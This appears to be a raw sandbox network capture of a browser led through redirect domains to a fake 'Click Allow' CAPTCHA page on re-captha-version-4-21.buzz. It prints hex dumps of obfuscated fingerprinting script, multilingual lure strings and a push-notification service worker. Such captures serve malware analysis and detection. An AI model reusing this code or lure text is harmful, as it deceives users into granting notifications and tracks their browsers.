2024-10-03 15:18:11 UTC	4096	IN	Data Raw: 31 34 65 32 63 61 5b 5f 30 78 34 36 37 38 32 33 5d 3d 5f 30 78 32 30 64 36 34 65 3b 7d 5f 30 78 32 30 64 36 34 65 3d 30 78 66 66 66 66 66 66 66 66 3b 66 6f 72 28 6c 65 74 20 5f 30 78 35 61 33 66 30 33 3d 30 78 30 3b 5f 30 78 35 61 33 66 30 33 3c 5f 30 78 33 39 30 37 35 61 5b 5f 30 78 33 38 61 36 39 35 28 27 30 78 31 37 64 27 2c 27 6e 55 79 72 27 29 5d 3b 5f 30 78 35 61 33 66 30 33 2b 2b 29 7b 63 6f 6e 73 74 20 5f 30 78 35 64 33 61 31 34 3d 5f 30 78 33 39 30 37 35 61 5b 5f 30 78 33 38 61 36 39 35 28 27 30 78 32 65 31 27 2c 27 53 36 57 6e 27 29 5d 28 5f 30 78 35 61 33 66 30 33 29 3b 5f 30 78 32 30 64 36 34 65 3d 5f 30 78 32 30 64 36 34 65 3e 3e 3e 30 78 38 5e 5f 30 78 31 34 65 32 63 61 5b 28 5f 30 78 32 30 64 36 34 65 5e 5f 30 78 35 64 33 61 31 34 29 26 30 Data Ascii: 14e2ca[_0x467823]=_0x20d64e;}_0x20d64e=0xffffffff;for(let _0x5a3f03=0x0;_0x5a3f03<_0x39075a[_0x38a695('0x17d','nUyr')];_0x5a3f03++){const _0x5d3a14=_0x39075a[_0x38a695('0x2e1','S6Wn')](_0x5a3f03);_0x20d64e=_0x20d64e>>>0x8^_0x14e2ca[(_0x20d64e^_0x5d3a14)&0
2024-10-03 15:18:11 UTC	4096	IN	Data Raw: 34 35 32 61 28 27 30 78 32 66 35 27 2c 27 6e 55 79 72 27 29 3b 7d 7d 7d 7d 7d 7d 7d 72 65 74 75 72 6e 20 5f 30 78 34 32 35 61 39 62 3b 7d 66 75 6e 63 74 69 6f 6e 20 67 77 28 29 7b 76 61 72 20 5f 30 78 63 31 36 61 30 66 3d 5f 30 78 33 64 30 34 37 30 3b 74 72 79 7b 76 61 72 20 5f 30 78 63 31 38 34 65 64 3d 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 63 31 36 61 30 66 28 27 30 78 63 65 27 2c 27 25 4f 48 39 27 29 5d 28 5f 30 78 63 31 36 61 30 66 28 27 30 78 32 38 63 27 2c 27 54 51 79 25 27 29 29 2c 5f 30 78 33 39 35 33 61 34 3d 5f 30 78 63 31 38 34 65 64 5b 5f 30 78 63 31 36 61 30 66 28 27 30 78 65 37 27 2c 27 54 77 26 70 27 29 5d 28 5f 30 78 63 31 36 61 30 66 28 27 30 78 63 31 27 2c 27 57 6a 6a 24 27 29 29 2c 5f 30 78 35 61 61 61 61 35 3d 5f 30 78 33 39 35 33 61 34 Data Ascii: 452a('0x2f5','nUyr');}}}}}}}return _0x425a9b;}function gw(){var _0xc16a0f=_0x3d0470;try{var _0xc184ed=document[_0xc16a0f('0xce','%OH9')](_0xc16a0f('0x28c','TQy%')),_0x3953a4=_0xc184ed[_0xc16a0f('0xe7','Tw&p')](_0xc16a0f('0xc1','Wjj$')),_0x5aaaa5=_0x3953a4
2024-10-03 15:18:11 UTC	4096	IN	Data Raw: 27 2c 27 74 36 54 44 27 29 5d 28 29 2c 5f 30 78 31 34 64 39 64 39 3d 6e 61 76 69 67 61 74 6f 72 5b 5f 30 78 35 30 36 37 34 63 28 27 30 78 32 65 36 27 2c 27 59 63 25 5d 27 29 5d 5b 5f 30 78 35 30 36 37 34 63 28 27 30 78 32 30 65 27 2c 27 64 40 6d 29 27 29 5d 28 29 2c 5f 30 78 34 32 65 39 66 33 3d 67 6f 28 29 3b 69 66 28 5f 30 78 33 33 62 36 66 39 3d 3d 3d 27 27 26 26 5f 30 78 34 32 65 39 66 33 3d 3d 3d 5f 30 78 35 30 36 37 34 63 28 27 30 78 31 62 38 27 2c 27 58 64 26 63 27 29 29 72 65 74 75 72 6e 20 5f 30 78 35 30 36 37 34 63 28 27 30 78 31 35 39 27 2c 27 29 5e 62 21 27 29 2b 30 78 30 3b 65 6c 73 65 7b 69 66 28 5f 30 78 31 34 64 39 64 39 5b 5f 30 78 35 30 36 37 34 63 28 27 30 78 32 64 31 27 2c 27 4a 79 66 37 27 29 5d 28 5f 30 78 35 30 36 37 34 63 28 27 30 Data Ascii: ','t6TD')](),_0x14d9d9=navigator[_0x50674c('0x2e6','Yc%]')][_0x50674c('0x20e','d@m)')](),_0x42e9f3=go();if(_0x33b6f9===''&&_0x42e9f3===_0x50674c('0x1b8','Xd&c'))return _0x50674c('0x159',')^b!')+0x0;else{if(_0x14d9d9[_0x50674c('0x2d1','Jyf7')](_0x50674c('0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49706	185.155.184.36	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:11 UTC	717	OUT	GET /favicon.ico HTTP/1.1 Host: ahchoadeegu.homes Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ahchoadeegu.homes/?u=k8pp605&o=c9ewtnr&t=8845 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sid=t1~2nfu21dk4tvyqsnquqreybha; p1=https://braraildye.live/qxvlhqbn/; s1=e2pxdlsrtuht00kb
2024-10-03 15:18:12 UTC	131	IN	HTTP/1.1 204 No Content Server: openresty Date: Thu, 03 Oct 2024 15:18:11 GMT Connection: close Cache-Control: no-transform

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49710	3.76.71.197	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:13 UTC	794	OUT	GET /qxvlhqbn/?u=k8pp605&o=c9ewtnr&t=8845&f=1&sid=t1~2nfu21dk4tvyqsnquqreybha&fp=o8R94K792gF2FmXXVRS19Q%3D%3D HTTP/1.1 Host: 831be5de.braraildye.live Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://ahchoadeegu.homes/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:13 UTC	380	IN	HTTP/1.1 302 Found Server: openresty Date: Thu, 03 Oct 2024 15:18:13 GMT Content-Type: text/html; charset=utf-8 Content-Length: 212 Connection: close cache-control: private location: https://re-captha-version-4-21.buzz/ms/dog/?c=7f09bb62-b760-45ce-9fda-c2155b361966&a=l15369 referrer-policy: no-referrer set-cookie: cookie1=true; expires=Fri, 04-Oct-2024 15:18:12 GMT
2024-10-03 15:18:13 UTC	212	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 2d 63 61 70 74 68 61 2d 76 65 72 73 69 6f 6e 2d 34 2d 32 31 2e 62 75 7a 7a 2f 6d 73 2f 64 6f 67 2f 3f 63 3d 37 66 30 39 62 62 36 32 2d 62 37 36 30 2d 34 35 63 65 2d 39 66 64 61 2d 63 32 31 35 35 62 33 36 31 39 36 36 26 61 6d 70 3b 61 3d 6c 31 35 33 36 39 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://re-captha-version-4-21.buzz/ms/dog/?c=7f09bb62-b760-45ce-9fda-c2155b361966&a=l15369">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	49714	188.114.96.3	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:14 UTC	711	OUT	GET /ms/dog/?c=7f09bb62-b760-45ce-9fda-c2155b361966&a=l15369 HTTP/1.1 Host: re-captha-version-4-21.buzz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:14 UTC	667	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 15:18:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close last-modified: Thu, 03 Oct 2024 14:13:12 GMT cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VGOgdyIcFgmLL51%2B7u7HFjqbzTzT68FBdY%2B1QWm1VQFmNfl28FrEmRU42APZrENPzOe6cXdAAOMZvjKX%2BlqvMrHufmFq8mf0%2BlLDMQfuJJHq8l9%2Fdz60%2FNq%2FiXyGsqr%2BgPjhoDXKQjFCjfUo0J0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8ccde75528184303-EWR
2024-10-03 15:18:14 UTC	702	IN	Data Raw: 31 64 65 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 09 3c 74 69 74 6c 65 20 69 64 3d 22 71 31 31 30 32 73 31 22 3e 43 6c 69 63 6b 20 41 6c 6c 6f 77 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 68 65 Data Ascii: 1dea<!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title id="q1102s1">Click Allow</title><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,he
2024-10-03 15:18:14 UTC	1369	IN	Data Raw: 45 4d 58 63 57 34 5a 63 4d 71 47 31 57 35 70 64 4a 47 65 7a 45 76 47 6a 57 4f 37 63 49 53 6f 72 70 53 6b 6d 57 34 42 63 51 43 6f 61 78 74 74 64 4f 68 61 39 6e 38 6f 53 46 53 6b 38 27 2c 27 57 37 4e 64 4f 6d 6b 2b 57 37 54 42 57 34 68 63 4c 5a 35 6c 75 6d 6b 65 27 2c 27 57 50 48 50 6e 53 6b 79 57 50 46 64 4b 72 34 6c 57 34 38 67 57 50 78 63 4d 71 27 2c 27 69 65 71 54 57 50 75 62 76 6d 6f 47 57 52 61 37 41 32 33 64 4f 48 4f 27 2c 27 57 51 43 43 57 52 64 63 52 64 37 64 56 74 31 41 62 53 6b 6d 66 38 6b 2f 65 38 6b 51 79 38 6f 4e 57 50 33 64 56 53 6b 47 57 52 42 64 54 49 48 69 57 37 54 4c 73 38 6b 56 77 43 6b 4c 61 6d 6b 64 57 50 53 42 57 50 70 64 4f 47 27 2c 27 57 4f 54 4d 72 38 6b 5a 77 68 46 64 47 68 37 64 51 77 56 64 4a 53 6b 69 57 4f 5a 63 47 67 31 62 57 Data Ascii: EMXcW4ZcMqG1W5pdJGezEvGjWO7cISorpSkmW4BcQCoaxttdOha9n8oSFSk8','W7NdOmk+W7TBW4hcLZ5lumke','WPHPnSkyWPFdKr4lW48gWPxcMq','ieqTWPubvmoGWRa7A23dOHO','WQCCWRdcRd7dVt1AbSkmf8k/e8kQy8oNWP3dVSkGWRBdTIHiW7TLs8kVwCkLamkdWPSBWPpdOG','WOTMr8kZwhFdGh7dQwVdJSkiWOZcGg1bW
2024-10-03 15:18:14 UTC	1369	IN	Data Raw: 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 65 38 38 36 35 28 27 30 78 31 35 33 27 2c 27 7a 32 5e 4d 27 29 29 2f 30 78 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 65 38 38 36 35 28 27 30 78 31 36 62 27 2c 27 23 6f 77 55 27 29 29 2f 30 78 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 65 38 38 36 35 28 27 30 78 31 36 61 27 2c 27 26 34 5b 57 27 29 29 2f 30 78 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 65 38 38 36 35 28 27 30 78 31 35 62 27 2c 27 58 40 76 72 27 29 29 2f 30 78 38 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 65 38 38 36 35 28 27 30 78 31 34 62 27 2c 27 6a 24 34 61 27 29 29 2f 30 78 39 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 34 65 38 38 36 35 28 27 30 78 31 35 31 27 2c 27 28 53 4c 49 27 29 29 2f 30 78 61 29 2b 70 61 72 73 Data Ascii: -parseInt(_0x4e8865('0x153','z2^M'))/0x5(-parseInt(_0x4e8865('0x16b','#owU'))/0x6)+-parseInt(_0x4e8865('0x16a','&4[W'))/0x7(-parseInt(_0x4e8865('0x15b','X@vr'))/0x8)+-parseInt(_0x4e8865('0x14b','j$4a'))/0x9*(parseInt(_0x4e8865('0x151','(SLI'))/0xa)+pars
2024-10-03 15:18:14 UTC	1369	IN	Data Raw: 64 64 66 38 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 64 62 33 64 36 2c 5f 30 78 32 35 32 37 64 31 29 7b 76 61 72 20 5f 30 78 34 37 63 39 34 35 3d 5b 5d 2c 5f 30 78 36 36 35 31 36 38 3d 30 78 30 2c 5f 30 78 33 36 62 38 36 63 2c 5f 30 78 31 33 32 34 65 32 3d 27 27 3b 5f 30 78 33 64 62 33 64 36 3d 5f 30 78 31 37 38 61 64 61 28 5f 30 78 33 64 62 33 64 36 29 3b 76 61 72 20 5f 30 78 34 30 63 64 30 31 3b 66 6f 72 28 5f 30 78 34 30 63 64 30 31 3d 30 78 30 3b 5f 30 78 34 30 63 64 30 31 3c 30 78 31 30 30 3b 5f 30 78 34 30 63 64 30 31 2b 2b 29 7b 5f 30 78 34 37 63 39 34 35 5b 5f 30 78 34 30 63 64 30 31 5d 3d 5f 30 78 34 30 63 64 30 31 3b 7d 66 6f 72 28 5f 30 78 34 30 63 64 30 31 3d 30 78 30 3b 5f 30 78 34 30 63 64 30 31 3c 30 78 31 30 30 3b 5f 30 78 34 30 63 64 30 Data Ascii: ddf8=function(_0x3db3d6,_0x2527d1){var _0x47c945=[],_0x665168=0x0,_0x36b86c,_0x1324e2='';_0x3db3d6=_0x178ada(_0x3db3d6);var _0x40cd01;for(_0x40cd01=0x0;_0x40cd01<0x100;_0x40cd01++){_0x47c945[_0x40cd01]=_0x40cd01;}for(_0x40cd01=0x0;_0x40cd01<0x100;_0x40cd0
2024-10-03 15:18:14 UTC	1369	IN	Data Raw: 61 73 65 55 52 4c 27 3a 5f 30 78 31 31 38 35 62 61 28 27 30 78 31 36 63 27 2c 27 4f 69 46 58 27 29 2c 27 70 72 6f 6a 65 63 74 49 64 27 3a 5f 30 78 31 31 38 35 62 61 28 27 30 78 31 34 39 27 2c 27 76 46 71 77 27 29 2c 27 73 74 6f 72 61 67 65 42 75 63 6b 65 74 27 3a 5f 30 78 31 31 38 35 62 61 28 27 30 78 31 36 35 27 2c 27 58 40 76 72 27 29 2c 27 6d 65 73 73 61 67 69 6e 67 53 65 6e 64 65 72 49 64 27 3a 30 78 31 61 32 34 64 35 65 32 62 31 2c 27 61 70 70 49 64 27 3a 5f 30 78 31 31 38 35 62 61 28 27 30 78 31 34 33 27 2c 27 72 6a 21 64 27 29 7d 2c 6d 61 69 6e 44 6f 6d 61 69 6e 3d 77 69 6e 64 6f 77 5b 5f 30 78 31 31 38 35 62 61 28 27 30 78 31 35 34 27 2c 27 6e 42 58 25 27 29 5d 5b 5f 30 78 31 31 38 35 62 61 28 27 30 78 31 34 63 27 2c 27 26 34 5b 57 27 29 5d 5b 5f Data Ascii: aseURL':_0x1185ba('0x16c','OiFX'),'projectId':_0x1185ba('0x149','vFqw'),'storageBucket':_0x1185ba('0x165','X@vr'),'messagingSenderId':0x1a24d5e2b1,'appId':_0x1185ba('0x143','rj!d')},mainDomain=window[_0x1185ba('0x154','nBX%')][_0x1185ba('0x14c','&4[W')][_
2024-10-03 15:18:14 UTC	1369	IN	Data Raw: e0 a6 b6 e0 a7 8d e0 a6 9a e0 a6 bf e0 a6 a4 20 e0 a6 95 e0 a6 b0 e0 a6 a4 e0 a7 87 20 c2 ab e0 a6 85 e0 a6 a8 e0 a7 81 e0 a6 ae e0 a6 a4 e0 a6 bf c2 bb 20 e0 a6 95 e0 a7 8d e0 a6 b2 e0 a6 bf e0 a6 95 20 e0 a6 95 e0 a6 b0 e0 a7 81 e0 a6 a8 21 22 7d 2c 62 67 3a 7b 71 31 31 30 32 73 31 3a 22 d0 9d d0 b0 d1 82 d0 b8 d1 81 d0 bd d0 b5 d1 82 d0 b5 20 d0 a0 d0 b0 d0 b7 d1 80 d0 b5 d1 88 d0 b8 22 2c 71 31 31 30 32 73 32 3a 22 d0 9a d0 bb d0 b8 d0 ba d0 bd d0 b8 20 c2 ab d0 a0 d0 b0 d0 b7 d1 80 d0 b5 d1 88 d0 b8 c2 bb 2c 20 d0 b7 d0 b0 20 d0 b4 d0 b0 20 d0 bf d0 be d1 82 d0 b2 d1 8a d1 80 d0 b4 d0 b8 d1 88 2c 20 d1 87 d0 b5 20 d0 bd d0 b5 20 d1 81 d0 b8 20 d1 80 d0 be d0 b1 d0 be d1 82 21 22 7d 2c 62 73 3a 7b 71 31 31 30 32 73 31 3a 27 4b 6c 69 6b 6e 69 74 65 20 Data Ascii: !"},bg:{q1102s1:" ",q1102s2:" , , !"},bs:{q1102s1:'Kliknite
2024-10-03 15:18:14 UTC	119	IN	Data Raw: 31 30 32 73 31 3a 22 d8 a7 d8 ac d8 a7 d8 b2 d9 87 20 d8 af d8 a7 d8 af d9 86 20 d8 b1 d8 a7 20 d8 a8 d8 b2 d9 86 db 8c d8 af 20 22 2c 71 31 31 30 32 73 32 3a 22 d8 b1 d9 88 db 8c 20 c2 ab d8 a7 d8 ac d8 a7 d8 b2 d9 87 20 d8 af d8 a7 d8 af d9 86 c2 bb 20 d8 a8 d8 b2 d9 86 db 8c d8 af 20 d8 aa d8 a7 20 d9 85 d8 b4 d8 ae d8 b5 20 d8 b4 d9 88 d8 af 20 0d 0a Data Ascii: 102s1:" ",q1102s2:"
2024-10-03 15:18:14 UTC	1369	IN	Data Raw: 35 64 63 64 0d 0a da a9 d9 87 20 d8 b1 d8 a8 d8 a7 d8 aa 20 d9 86 db 8c d8 b3 d8 aa db 8c d8 af 21 22 7d 2c 66 69 3a 7b 71 31 31 30 32 73 31 3a 27 4e 61 70 73 61 75 74 61 20 22 53 61 6c 6c 69 22 27 2c 71 31 31 30 32 73 32 3a 27 50 61 69 6e 61 20 22 53 61 6c 6c 69 22 20 2d 70 61 69 6e 69 6b 65 74 74 61 20 76 61 72 6d 69 73 74 61 61 6b 73 65 73 69 2c 20 65 74 74 c3 a4 20 6f 6c 65 74 20 69 68 6d 69 6e 65 6e 21 27 7d 2c 68 69 3a 7b 71 31 31 30 32 73 31 3a 22 e0 a4 85 e0 a4 a8 e0 a5 81 e0 a4 ae e0 a4 a4 e0 a4 bf 20 e0 a4 a6 e0 a5 87 e0 a4 82 20 e0 a4 aa e0 a4 b0 20 e0 a4 95 e0 a5 8d e0 a4 b2 e0 a4 bf e0 a4 95 20 e0 a4 95 e0 a4 b0 e0 a5 87 e0 a4 82 22 2c 71 31 31 30 32 73 32 3a 22 c2 ab e0 a4 aa e0 a5 81 e0 a4 b7 e0 a5 8d e0 a4 9f e0 a4 bf 20 e0 a4 95 e0 a4 b0 Data Ascii: 5dcd !"},fi:{q1102s1:'Napsauta "Salli"',q1102s2:'Paina "Salli" -painiketta varmistaaksesi, ett olet ihminen!'},hi:{q1102s1:" ",q1102s2:"
2024-10-03 15:18:14 UTC	1369	IN	Data Raw: e1 83 9c e1 83 94 e1 83 91 e1 83 90 22 20 e1 83 93 e1 83 90 20 e1 83 93 e1 83 90 e1 83 90 e1 83 93 e1 83 90 e1 83 a1 e1 83 a2 e1 83 a3 e1 83 a0 e1 83 9d 2c 20 e1 83 a0 e1 83 9d e1 83 9b 20 e1 83 90 e1 83 93 e1 83 90 e1 83 9b e1 83 98 e1 83 90 e1 83 9c e1 83 98 20 e1 83 ae e1 83 90 e1 83 a0 21 27 7d 2c 6b 6b 3a 7b 71 31 31 30 32 73 31 3a 22 c2 ab d0 a0 d2 b1 d2 9b d1 81 d0 b0 d1 82 20 d0 b5 d1 82 d1 83 c2 bb 20 d1 82 d2 af d0 b9 d0 bc d0 b5 d1 81 d1 96 d0 bd 20 d0 b1 d0 b0 d1 81 d1 8b d2 a3 d1 8b d0 b7 22 2c 71 31 31 30 32 73 32 3a 27 d0 90 d0 b4 d0 b0 d0 bc 20 d0 b5 d0 ba d0 b5 d0 bd d1 96 d2 a3 d1 96 d0 b7 d0 b4 d1 96 20 d1 80 d0 b0 d1 81 d1 82 d0 b0 d1 83 20 d2 af d1 88 d1 96 d0 bd 20 22 d0 a0 d2 b1 d2 9b d1 81 d0 b0 d1 82 20 d0 b5 d1 82 d1 83 22 20 d1 Data Ascii: " , !'},kk:{q1102s1:" ",q1102s2:' " "
2024-10-03 15:18:14 UTC	1369	IN	Data Raw: e1 80 ba e1 80 80 e1 80 ad e1 80 af 20 e1 80 94 e1 80 be e1 80 ad e1 80 95 e1 80 ba e1 80 95 e1 80 ab e1 81 8b 27 7d 2c 6e 6f 3a 7b 71 31 31 30 32 73 31 3a 22 4b 6c 69 6b 6b 20 54 69 6c 6c 61 74 22 2c 71 31 31 30 32 73 32 3a 27 54 72 79 6b 6b 20 70 c3 a5 20 22 54 69 6c 6c 61 74 22 2d 6b 6e 61 70 70 65 6e 20 66 6f 72 20 c3 a5 20 62 65 6b 72 65 66 74 65 20 61 74 20 64 75 20 65 72 20 65 74 20 6d 65 6e 6e 65 73 6b 65 21 27 7d 2c 6e 62 3a 7b 71 31 31 30 32 73 31 3a 22 4b 6c 69 6b 6b 20 54 69 6c 6c 61 74 22 2c 71 31 31 30 32 73 32 3a 27 54 72 79 6b 6b 20 70 c3 a5 20 22 54 69 6c 6c 61 74 22 2d 6b 6e 61 70 70 65 6e 20 66 6f 72 20 c3 a5 20 62 65 6b 72 65 66 74 65 20 61 74 20 64 75 20 65 72 20 65 74 20 6d 65 6e 6e 65 73 6b 65 21 27 7d 2c 6e 6c 3a 7b 71 31 31 30 32 Data Ascii: '},no:{q1102s1:"Klikk Tillat",q1102s2:'Trykk p "Tillat"-knappen for bekrefte at du er et menneske!'},nb:{q1102s1:"Klikk Tillat",q1102s2:'Trykk p "Tillat"-knappen for bekrefte at du er et menneske!'},nl:{q1102

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49724	188.114.96.3	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:18 UTC	665	OUT	GET /favicon.ico HTTP/1.1 Host: re-captha-version-4-21.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://re-captha-version-4-21.buzz/ms/dog/?c=7f09bb62-b760-45ce-9fda-c2155b361966&a=l15369 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:18 UTC	543	IN	HTTP/1.1 204 No Content Date: Thu, 03 Oct 2024 15:18:18 GMT Connection: close Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2151 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=awjoovhegzkxTtmmj4YFnVio3baR1%2F0wxoPTGWTP7Q8pE9YTnJaPxILaVy8bl3ynNvU2pllRcX8mbh1N8%2Bc81TR%2BXVJpNF6wPlb%2BkTpPd1QPFsb%2BnSb9sdXdv%2B8oihfK5zYef2EMS9gszUCkuE4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccde76e2c034229-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49725	188.114.96.3	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:18 UTC	563	OUT	GET /sw-e4e77d444e8cd26ad498a9c5c91d85c0.js HTTP/1.1 Host: re-captha-version-4-21.buzz Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://re-captha-version-4-21.buzz/ms/dog/?c=7f09bb62-b760-45ce-9fda-c2155b361966&a=l15369 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:18 UTC	682	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 15:18:18 GMT Content-Type: application/javascript Content-Length: 2388 Connection: close last-modified: Sat, 08 Apr 2023 14:34:09 GMT etag: "64317b61-954" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 515 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SczKrcKdB3mCOoHLRyhHmTXU1ZFqJsbiElwbxSWcciQrLDSiPCveJPd%2FXKbYLvH8t9T18uHWcY%2BODf1NfaHN4LBbFy2O4GEcBvC8H8vWSqD45%2Bex8H%2Fi%2BvjnQ7a2IkmqL5bAQod9wLtPDcbajS4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccde76e291dc40e-EWR
2024-10-03 15:18:18 UTC	687	IN	Data Raw: 2f 2a 0a 20 2a 20 76 2e 20 31 2e 30 2e 35 0a 20 2a 2f 0a 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 73 65 6c 66 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 70 75 73 68 27 2c 20 28 65 76 65 6e 74 29 20 3d 3e 20 7b 0a 20 20 76 61 72 20 70 75 73 68 20 3d 20 4a 53 4f 4e 2e 70 61 72 73 65 28 65 76 65 6e 74 2e 64 61 74 61 2e 74 65 78 74 28 29 29 3b 0a 0a 20 20 69 66 20 28 70 75 73 68 2e 64 61 74 61 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 27 70 69 78 65 6c 27 29 20 26 26 20 76 61 6c 69 64 55 52 4c 28 70 75 73 68 2e 64 61 74 61 2e 70 69 78 65 6c 29 29 20 7b 0a 20 20 20 20 76 61 72 20 70 69 78 65 6c 55 72 6c 20 3d 20 70 75 73 68 2e 64 61 74 61 